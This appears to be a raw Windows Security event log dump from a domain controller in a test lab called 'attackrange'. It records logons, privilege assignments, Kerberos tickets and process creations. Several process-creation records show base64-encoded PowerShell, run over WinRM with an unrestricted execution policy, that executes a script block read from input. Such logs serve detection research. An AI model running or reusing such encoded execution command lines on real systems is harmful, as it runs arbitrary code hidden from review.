	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64474

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250743
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11A27D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250742
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11A1B7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250741
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x11A1B7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64473

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250740
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11A1B7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250739
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x118B75

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11d0
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd58
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250738
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x118FDD

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250737
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x118FDD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DFCEA743-9B90-9E08-9D97-6FF0D60337EA}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250736
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{DFCEA743-9B90-9E08-9D97-6FF0D60337EA}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250735
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{DFCEA743-9B90-9E08-9D97-6FF0D60337EA}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250734
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250733
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x118B75

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd58
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x49c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250732
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x118B75

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x49c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250731
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x118DC5

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250730
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x118DC5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DFCEA743-9B90-9E08-9D97-6FF0D60337EA}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
